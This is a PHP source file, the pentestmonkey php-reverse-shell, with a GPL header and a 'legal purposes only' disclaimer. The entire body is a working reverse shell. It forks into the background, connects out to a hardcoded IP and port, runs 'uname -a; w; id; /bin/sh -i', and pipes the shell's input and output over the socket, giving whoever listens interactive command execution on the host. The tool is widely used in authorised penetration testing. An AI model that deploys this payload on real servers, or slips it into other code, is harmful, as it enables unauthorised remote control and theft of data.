<?php
    // php-reverse-shell - A Reverse Shell implementation in PHP
    // Copyright (C) 2007 pentestmonkey@pentestmonkey.net
    //
    // This tool may be used for legal purposes only.  Users take full responsibility
    // for any actions performed using this tool.  The author accepts no liability
    // for damage caused by this tool.  If these terms are not acceptable to you, then
    // do not use this tool.
    //
    // In all other respects the GPL version 2 applies:
    //
    // This program is free software; you can redistribute it and/or modify
    // it under the terms of the GNU General Public License version 2 as
    // published by the Free Software Foundation.
    //
    // This program is distributed in the hope that it will be useful,
    // but WITHOUT ANY WARRANTY; without even the implied warranty of
    // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    // GNU General Public License for more details.
    //
    // You should have received a copy of the GNU General Public License along
    // with this program; if not, write to the Free Software Foundation, Inc.,
    // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
    //
    // This tool may be used for legal purposes only.  Users take full responsibility
    // for any actions performed using this tool.  If these terms are not acceptable to
    // you, then do not use this tool.
    //
    // You are encouraged to send comments, improvements or suggestions to
    // me at pentestmonkey@pentestmonkey.net
    //
    // Description
    // -----------
    // This script will make an outbound TCP connection to a hardcoded IP and port.
    // The recipient will be given a shell running as the current user (apache normally).
    //
    // Limitations
    // -----------
    // proc_open and stream_set_blocking require PHP version 4.3+, or 5+
    // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
    // Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
    //
    // Usage
    // -----
    // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.


    set_time_limit (0);
    $VERSION = "1.0";
    $ip = '192.168.110.128';  // CHANGE THIS
    $port = 4444;       // CHANGE THIS
    $chunk_size = 1400;
    $write_a = null;
    $error_a = null;
    $shell = 'uname -a; w; id; /bin/sh -i';
    $daemon = 0;
    $debug = 0;


    //
    // Daemonise ourself if possible to avoid zombies later
    //


    // pcntl_fork is hardly ever available, but will allow us to daemonise
    // our php process and avoid zombies.  Worth a try...
    if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
    printit("ERROR: Can't fork");
    exit(1);
    }

    if ($pid) {
    exit(0);  // Parent exits
    }


    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
    printit("Error: Can't setsid()");
    exit(1);
    }


    $daemon = 1;
    } else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
    }


    // Change to a safe directory
    chdir("/");


    // Remove any umask we inherited
    umask(0);


    //
    // Do the reverse shell...
    //


    // Open reverse connection
    $sock = fsockopen($ip, $port, $errno, $errstr, 30);
    if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
    }


    // Spawn shell process
    $descriptorspec = array(
       0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
       1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
       2 => array("pipe", "w")   // stderr is a pipe that the child will write to
    );


    $process = proc_open($shell, $descriptorspec, $pipes);


    if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
    }


    // Set everything to non-blocking
    // Reason: Occsionally reads will block, even though stream_select tells us they won't
    stream_set_blocking($pipes[0], 0);
    stream_set_blocking($pipes[1], 0);
    stream_set_blocking($pipes[2], 0);
    stream_set_blocking($sock, 0);


    printit("Successfully opened reverse shell to $ip:$port");


    while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
    printit("ERROR: Shell connection terminated");
    break;
    }


    // Check for end of STDOUT
    if (feof($pipes[1])) {
    printit("ERROR: Shell process terminated");
    break;
    }


    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);


    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
    if ($debug) printit("SOCK READ");
    $input = fread($sock, $chunk_size);
    if ($debug) printit("SOCK: $input");
    fwrite($pipes[0], $input);
    }


    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
    if ($debug) printit("STDOUT READ");
    $input = fread($pipes[1], $chunk_size);
    if ($debug) printit("STDOUT: $input");
    fwrite($sock, $input);
    }


    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
    if ($debug) printit("STDERR READ");
    $input = fread($pipes[2], $chunk_size);
    if ($debug) printit("STDERR: $input");
    fwrite($sock, $input);
    }
    }


    fclose($sock);
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($process);


    // Like print, but does nothing if we've daemonised ourself
    // (I can't figure out how to redirect STDOUT like a proper daemon)
    function printit ($string) {
    if (!$daemon) {
    print "$string\n";
    }
    }


    ?>